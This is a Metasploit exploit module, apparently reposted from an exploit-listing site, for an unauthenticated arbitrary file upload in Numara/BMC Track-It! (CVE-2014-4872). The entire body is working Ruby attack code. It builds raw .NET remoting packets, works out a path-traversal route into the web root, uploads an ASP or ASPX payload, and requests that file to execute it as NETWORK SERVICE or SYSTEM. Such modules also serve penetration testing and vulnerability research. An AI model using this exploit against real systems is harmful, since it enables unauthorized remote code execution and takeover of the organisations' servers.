Author

metasploit

Risk

[

Security Risk High

]

0day-ID

0day-ID-22776

Category

remote exploits

Date add

21-10-2014

CVE

CVE-2014-4872

Platform

windows

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Numara / BMC Track-It! FileStorageService Arbitrary File Upload',
      'Description'    => %q{
        This module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It!
        v8 to v11.X.
        The application exposes the FileStorageService .NET remoting service on port 9010
        (9004 for version 8) which accepts unauthenticated uploads. This can be abused by
        a malicious user to upload a ASP or ASPX file to the web root leading to arbitrary
        code execution as NETWORK SERVICE or SYSTEM.
        This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,
        10.0.0.143, 9.0.30.248 and 8.0.2.51.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'    # vulnerability discovery and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-4872' ],
          [ 'OSVDB', '112741' ],
          [ 'US-CERT-VU', '121036' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ]
        ],
      'DefaultOptions' => { 'WfsDelay' => 30 },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          [ 'Numara / BMC Track-It! v9 to v11.X - Windows', {} ],
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 7 2014'
    ))

    register_options(
      [
        OptPort.new('RPORT',
          [true, 'TrackItWeb application port', 80]),
        OptPort.new('RPORT_REMOTING',
          [true, '.NET remoting service port', 9010]),
        OptInt.new('SLEEP',
          [true, 'Seconds to sleep while we wait for ASP(X) file to be written', 15]),
        OptString.new('TARGETURI',
          [true, 'Base path to the TrackItWeb application', '/TrackItWeb/'])
      ], self.class)
  end


  def get_version
    res = send_request_cgi!({
      'uri'    => normalize_uri(datastore['TARGETURI']),
      'method' => 'GET'
    })
    if res and res.code == 200 and res.body.to_s =~ /\/TrackItWeb\/Content\.([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,4})\//
      version = $1.split(".")
      return version
    end
  end


  def check
    version = get_version
    if version != nil
      if (version[0].to_i < 11) or
      (version[0].to_i == 11 and version[1].to_i <= 3) or
      (version[0].to_i == 11 and version[1].to_i == 3 and version[2].to_i == 0 and version[3].to_i < 999)
        ctx = { 'Msf' => framework, 'MsfExploit' => self }
        sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
        if not sock.nil?
          sock.write(rand_text_alpha(rand(200) + 100))
          res = sock.recv(1024)
          if res =~ /Tcp channel protocol violation: expecting preamble/
            return Exploit::CheckCode::Appears
          end
          sock.close
        end
      else
        return Exploit::CheckCode::Safe
      end
    end
    return Exploit::CheckCode::Unknown
  end


  def longest_common_substr(strings)
    shortest = strings.min_by &:length
    maxlen = shortest.length
    maxlen.downto(0) do |len|
      0.upto(maxlen - len) do |start|
        substr = shortest[start,len]
        return substr if strings.all?{|str| str.include? substr }
      end
    end
  end


  def get_traversal_path
    #
    # ConfigurationService packet structure:
    #
    # @packet_header_pre_packet_size
    # packet_size (4 bytes)
    # @packet_header_pre_uri_size
    # uri_size (2 bytes)
    # @packet_header_pre_uri
    # uri
    # @packet_header_post_uri
    # packet_body_start_pre_method_size
    # method_size (1 byte)
    # method
    # @packet_body_pre_type_size
    # type_size (1 byte)
    # @packet_body_pre_type
    # type
    # @packet_terminator
    #
    # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx
    #
    packet_body_start_pre_method_size = [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12
    ]

    service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt"))
    method = "GetProductDeploymentValues".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt"))
    type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt"))

    uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service

    file_storage_dir_str = "FileStorageDataDirectory"
    web_data_dir_str = "WebDataCacheDirectory"

    packet_size =
      @packet_header_pre_uri_size.length +
      2 + # uri_size
      @packet_header_pre_uri.length +
      uri.length +
      @packet_header_post_uri.length +
      packet_body_start_pre_method_size.length +
      1 + # method_size
      method.length +
      @packet_body_pre_type_size.length +
      1 + # type_size
      @packet_body_pre_type.length +
      type.length

    # start of packet and packet size (4 bytes)
    buf = @packet_header_pre_packet_size.pack('C*')
    buf << Array(packet_size).pack('L*')

    # uri size (2 bytes)
    buf << @packet_header_pre_uri_size.pack('C*')
    buf << Array(uri.length).pack('S*')

    # uri
    buf << @packet_header_pre_uri.pack('C*')
    buf << uri.bytes.to_a.pack('C*')
    buf << @packet_header_post_uri.pack('C*')

    # method name
    buf << packet_body_start_pre_method_size.pack('C*')
    buf << Array(method.length).pack('C*')
    buf << method.bytes.to_a.pack('C*')

    # type name
    buf << @packet_body_pre_type_size.pack('C*')
    buf << Array(type.length).pack('C*')
    buf << @packet_body_pre_type.pack('C*')
    buf << type.bytes.to_a.pack('C*')

    buf << @packet_terminator.pack('C*')

    ctx = { 'Msf' => framework, 'MsfExploit' => self }
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
    if sock.nil?
      fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
    else
      print_status("#{rhost}:#{@remoting_port} - Getting traversal path...")
    end
    sock.write(buf)

    # read from the socket for up to (SLEEP / 2) seconds
    counter = 0
    web_data_dir = nil
    file_storage_dir = nil
    while counter < datastore['SLEEP']
      begin
        readable,writable,error = IO.select([sock], nil, nil, datastore['SLEEP'] / 2)
        if readable == nil
          break
        else
          sock = readable[0]
        end
        buf_reply = sock.readpartial(4096)
        if (index = (buf_reply.index(file_storage_dir_str))) != nil
          # after file_storage_dir_str, discard 5 bytes then get file_storage_dir_size
          size = buf_reply[index + file_storage_dir_str.length + 5,1].unpack('C*')[0]
          file_storage_dir = buf_reply[index + file_storage_dir_str.length + 6, size]
          if file_storage_dir != nil and web_data_dir != nil
            break
          end
        end
        if (index = (buf_reply.index(web_data_dir_str))) != nil
          # after web_data_dir_str, discard 5 bytes then get web_data_dir_size
          size = buf_reply[index + web_data_dir_str.length + 5,1].unpack('C*')[0]
          web_data_dir = buf_reply[index + web_data_dir_str.length + 6, size]
          if file_storage_dir != nil and web_data_dir != nil
            break
          end
        end
        counter += 1
        sleep(0.5)
      rescue SystemCallError
        break
      end
    end
    sock.close

    if file_storage_dir != nil and web_data_dir != nil
      # Now we need to adjust the paths before we calculate the traversal_size
      # On the web_data_dir, trim the last part (the Cache directory) and add the Web\Installers part
      # which is the path accessible without authentication.
      # On the file_storage_dir, add the IncidentRepository part where the files land by default.
      # We then find the common string and calculate the traversal_path.
      web_data_dir = web_data_dir[0,web_data_dir.rindex("\\")] + "\\Web\\Installers\\"
      file_storage_dir << "\\Repositories\\IncidentRepository"
      common_str = longest_common_substr([file_storage_dir, web_data_dir])
      traversal_size =  file_storage_dir[common_str.rindex("\\"), file_storage_dir.length].scan("\\").length
      traversal_path = "..\\" * traversal_size + web_data_dir[common_str.rindex("\\") + 1,common_str.length]
      return traversal_path
    else
      return nil
    end
    # Note: version 8 always returns nil as the GetProductDeploymentValues does not exist
  end


  def send_file(traversal_path, filename, file_content)
    #
    # FileStorageService packet structure:
    #
    # @packet_header_pre_packet_size
    # packet_size (4 bytes)
    # @packet_header_pre_uri_size
    # uri_size (2 bytes)
    # @packet_header_pre_uri
    # uri
    # @packet_header_post_uri
    # packet_body_start_pre_method_size
    # method_size (1 byte)
    # method
    # @packet_body_pre_type_size
    # type_size (1 byte)
    # @packet_body_pre_type
    # type
    # packet_body_pre_repository_size
    # repository_size (1 byte)
    # repository
    # packet_body_pre_filepath_size
    # filepath_size (1 byte)
    # filepath
    # packet_body_pre_binary_lib_size
    # binary_lib_size (1 byte)
    # binary_lib
    # packet_body_pre_file_content_decl_size
    # file_content_decl_size (1 byte)
    # file_content_decl
    # packet_body_pre_filesize
    # file_size (4 bytes)
    # packet_body_pre_filecontent
    # file_content
    # @packet_terminator
    #
    # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx
    #
    packet_body_start_pre_method_size = [
      0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff,
      0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x15, 0x14, 0x00, 0x00, 0x00, 0x12
    ]

    packet_body_pre_repository_size = [
      0x10, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00,
      0x00, 0x0a, 0x09, 0x02, 0x00, 0x00, 0x00, 0x06,
      0x03, 0x00, 0x00, 0x00
    ]

    packet_body_pre_filepath_size = [
      0x06, 0x04, 0x00, 0x00, 0x00
    ]

    packet_body_pre_binary_lib_size = [
      0x0c, 0x05, 0x00, 0x00, 0x00
    ]

    packet_body_pre_file_content_decl_size = [
      0x05, 0x02, 0x00, 0x00, 0x00
    ]

    packet_body_pre_file_size = [
      0x01, 0x00, 0x00, 0x00, 0x09, 0x5f, 0x72, 0x61,
      0x77, 0x42, 0x79, 0x74, 0x65, 0x73, 0x07, 0x02,
      0x05, 0x00, 0x00, 0x00, 0x09, 0x06, 0x00, 0x00,
      0x00, 0x0f, 0x06, 0x00, 0x00, 0x00
    ]

    packet_body_pre_filecontent = [ 0x02 ]

    service = "TrackIt.Core.FileStorageService".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt"))
    method = "Create"
    type = "TrackIt.Core.FileStorage.IFileStorageSecureDelegator, TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt"))
    repository = "IncidentRepository"
    binary_lib = "TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt"))
    file_content_decl = "TrackIt.Core.FileStorage.FileContent".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt"))

    uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service

    filepath = traversal_path + filename

    packet_size =
      @packet_header_pre_uri_size.length +
      2 + # uri_size
      @packet_header_pre_uri.length +
      uri.length +
      @packet_header_post_uri.length +
      packet_body_start_pre_method_size.length +
      1 + # method_size
      method.length +
      @packet_body_pre_type_size.length +
      1 + # type_size
      @packet_body_pre_type.length +
      type.length +
      packet_body_pre_repository_size.length +
      1 + # repository_size
      repository.length +
      packet_body_pre_filepath_size.length +
      1 + # filepath_size
      filepath.length +
      packet_body_pre_binary_lib_size.length +
      1 + # binary_lib_size
      binary_lib.length +
      packet_body_pre_file_content_decl_size.length +
      1 + # file_content_decl_size
      file_content_decl.length +
      packet_body_pre_file_size.length +
      4 + # file_size
      packet_body_pre_filecontent.length +
      file_content.length

    # start of packet and packet size (4 bytes)
    buf = @packet_header_pre_packet_size.pack('C*')
    buf << Array(packet_size).pack('L*')

    # uri size (2 bytes)
    buf << @packet_header_pre_uri_size.pack('C*')
    buf << Array(uri.length).pack('S*')

    # uri
    buf << @packet_header_pre_uri.pack('C*')
    buf << uri.bytes.to_a.pack('C*')
    buf << @packet_header_post_uri.pack('C*')

    # method name
    buf << packet_body_start_pre_method_size.pack('C*')
    buf << Array(method.length).pack('C*')
    buf << method.bytes.to_a.pack('C*')

    # type name
    buf << @packet_body_pre_type_size.pack('C*')
    buf << Array(type.length).pack('C*')
    buf << @packet_body_pre_type.pack('C*')
    buf << type.bytes.to_a.pack('C*')

    # repository name
    buf << packet_body_pre_repository_size.pack('C*')
    buf << Array(repository.length).pack('C*')
    buf << repository.bytes.to_a.pack('C*')

    # filepath
    buf << packet_body_pre_filepath_size.pack('C*')
    buf << Array(filepath.length).pack('C*')
    buf << filepath.bytes.to_a.pack('C*')

    # binary lib name
    buf << packet_body_pre_binary_lib_size.pack('C*')
    buf << Array(binary_lib.length).pack('C*')
    buf << binary_lib.bytes.to_a.pack('C*')

    # file content decl
    buf << packet_body_pre_file_content_decl_size.pack('C*')
    buf << Array(file_content_decl.length).pack('C*')
    buf << file_content_decl.bytes.to_a.pack('C*')

    # file size (4 bytes)
    buf << packet_body_pre_file_size.pack('C*')
    buf << Array(file_content.length).pack('L*')

    # file contents
    buf << packet_body_pre_filecontent.pack('C*')
    buf << file_content

    buf << @packet_terminator.pack('C*')

    # send the packet and ignore the response
    ctx = { 'Msf' => framework, 'MsfExploit' => self }
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
    if sock.nil?
      fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
    else
      print_status("#{rhost}:#{@remoting_port} - Uploading payload to #{filename}")
    end
    sock.write(buf)
    sock.close
    # We can't really register our files for cleanup as most of the time we run under the IIS user, not SYSTEM
  end


  def exploit
    @packet_header_pre_packet_size= [
      0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00
    ]

    @packet_header_pre_uri_size = [
      0x04, 0x00, 0x01, 0x01
    ]

    @packet_header_pre_uri = [
      0x00, 0x00
    ]

    # contains binary type (application/octet-stream)
    @packet_header_post_uri = [
      0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00,
      0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74,
      0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65,
      0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d,
      0x00, 0x00
    ]

    @packet_body_pre_type_size = [ 0x12 ]

    @packet_body_pre_type = [ 0x01 ]

    @packet_terminator = [ 0x0b ]

    version = get_version
    if version != nil
      @version = version[0].to_i
    else
      # We assume it's version 9 or below because we couldn't find any version identifiers
      @version = 9
    end

    @remoting_port = datastore['RPORT_REMOTING']

    traversal_path = get_traversal_path
    if traversal_path == nil
      print_error("#{rhost}:#{@remoting_port} - Could not get traversal path, falling back to defaults")
      case @version
      when 9
        traversal_path = "..\\..\\..\\..\\Web Add-On\\Web\\Installers\\"
      when 10
        traversal_path = "..\\..\\..\\..\\..\\Numara Track-It! Web\\Web\\Installers\\"
      when 11
        traversal_path = "..\\..\\..\\..\\..\\Track-It! Web\\Web\\Installers\\"
      end
    end

    # generate our payload
    exe = generate_payload_exe
    if @version == 9
      file_content = Msf::Util::EXE.to_exe_asp(exe)
      filename = rand_text_alpha_lower(rand(6) + 6) + ".asp"
    else
      file_content = Msf::Util::EXE.to_exe_aspx(exe)
      filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx"
    end

    send_file(traversal_path, filename, file_content)

    # sleep a few seconds, sometimes the service takes a while to write to disk
    sleep(datastore['SLEEP'])

    print_status("#{peer} - Executing payload")
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], "Installers", filename),
      'method' => 'GET'
    })

    if res
      if res.code == 500
        print_error("#{peer} - Got HTTP 500, trying again with " + (@version == 9 ? "ASPX" : "ASPX"))
        # try again but now use ASPX instead of ASP or vice-versa
        if @version == 9
          file_content = Msf::Util::EXE.to_exe_aspx(exe)
          filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx"
        else
          file_content = Msf::Util::EXE.to_exe_asp(exe)
          filename = rand_text_alpha_lower(rand(6) + 6) + ".asp"
        end
        send_file(traversal_path, filename, file_content)

        # sleep a few seconds, sometimes the service takes a while to write to disk
        sleep(datastore['SLEEP'])

        print_status("#{peer} - Executing payload")
        res = send_request_cgi({
          'uri'    => normalize_uri(datastore['TARGETURI'], "Installers", filename),
          'method' => 'GET'
        })
      end
    end
    if not res or res.code != 200
      fail_with(Exploit::Failure::Unknown, "#{peer} - Could not execute payload" + (res ? ", got HTTP code #{res.code.to_s}": ""))
    end

    handler
  end
end

#  0day.today [2024-11-16]  #